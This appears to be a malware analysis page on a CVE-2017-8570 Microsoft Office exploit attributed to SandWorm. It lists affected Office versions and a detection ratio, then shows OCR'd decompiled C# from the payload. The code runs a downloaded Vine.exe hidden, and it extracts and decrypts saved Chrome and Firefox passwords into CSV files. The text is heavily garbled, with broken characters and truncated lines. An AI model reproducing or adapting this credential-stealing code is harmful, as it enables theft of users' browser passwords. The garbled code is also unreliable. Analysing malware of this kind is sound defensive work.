2017 7 Microsoft Office
CVE-2017-8570 2017 7
github CVE-2017-8570 7 29

CVE-2017-8570
SandWorm

bl total
o ~

=y
Detection ratio:  5/57 ‘I 1 O

Analysis date: 2017-08-03 _UTC ( 1 minute ago )

CVE-2017-8570

Microsoft Office 2007 Service Pack 3

Microsoft Office 2010 Service Pack 2 (32-bit editions)
Microsoft Office 2010 Service Pack 2 (64-bit editions)
Microsoft Office 2013 RT Service Pack 1

Microsoft Office 2013 Service Pack 1 (32-bit editions)
Microsoft Office 2013 Service Pack 1 (64-bit editions)
Microsoft Office 2016 (32-bit edition)

Microsoft Office 2016 (64-bit edition)



MD5



5. powershell download. exe download. exe

Vine. exe
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= {} DownloadndExecute

d Main(string[] args)

| Program.DounloadFiles().Mait(); |
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- Base Types using (Process process = Process.Start(new ProcessStartInfo
4 Derived Types
& FileName = Path.Combine(Envircnment.GetFolderPath(Environment.SpecialFolder.ApplicationData), "Vine.exe"),
s WindowStyle = ProcessWindowStyle.Hidden,
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{

try
{

public static void Generate()

File.Copy{Environment.GetFolderPath(Environment.SpecialFolder.LocalfpplicationData) + “/Google/Chrome/User Data/Default/Login Data™, “te
string arg = "logins";

string arg_87_@ = "data scurce=temp_db;New=True;UseUTFl6Encoding=True";

DataTable dataTable = new DataTable();

string commandText = string.Format(“SELECT * FROM {8} {1} {2}", arg, "". "");

Streamiriter streambriter = new StreamWriter(string.Format("pass-{8}-{1}-{2}.csv", Environment.MachineName, "Chrome", (int)DateTime.Utch
using (SQLiteConnection sQLiteConnection = new SQLiteConnection(arg 87 @))

new SQLiteDataAdapter(new SQLiteCommand(commandText, sQLiteConnection)).Fill{dataTable);
int count = dataTable.Rows.Count;
for (int 1 = @; 1 < count; iHt)

{
string text;
byte[] bytes = ChromeRetriever.Decrypt((byte[])dataTable.Rows[i][5], null, out text);
string fistring = new UTF8Encoding(true).GetString(bytes);
object obj = dataTable.Rows[i][@];
object obj2 = dataTable.Rows[i][1];
object obj3 = dataTable.Rows[i][3];
string value = string.Format(“{@},{1},{2},{3}", new object[]
{
bia
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try
{

«l

si-esmd dter . Ch

public static void Generate()

bool flag = false;
string[] directories = Directory.GetDirectories(Environment.GetEnvironmentVariable("APPDATA") + "\\Mozilla‘\\Firefox\\Profiles");
for (int i = @; i < directories.length; i++)
{
string text = directories[i];
if (text == null || flag)

break;

string[] files = Directory.GetFiles(text);
for (int j = @; j < files.Length; j++)

string input = files[j];
if (flag)

hreak;‘
1
if (Regex.IsMatch(input, “logins.jsen™))
{

FirefoxRetriever.NSS_Init(text);
FirefoxRetriever.signon = input;

¥

string arg_86_8 = FirefoxRetriever.signon;

FirefoxRetriever.TSECItem tSECItem = default(FirefoxRetriever.TSECItem);

FirefoxRetriever.TSECItem tSECItem2 = default(FirefoxRetriever.TSECItem);

JToken jToken = JObject.Parse(new StreamReader(FirefoxRetriever.signon).ReadLine())["logins"];

Streamkriter streamkriter = new StreamMWriter(string.Format(“pass-{@]}-{1}-{2}.csv", Environment.MachineName, "Firefox™, (int)DateTime.Utc
for (int k = @: k < iToken.Count<IToken>(Y: k++h
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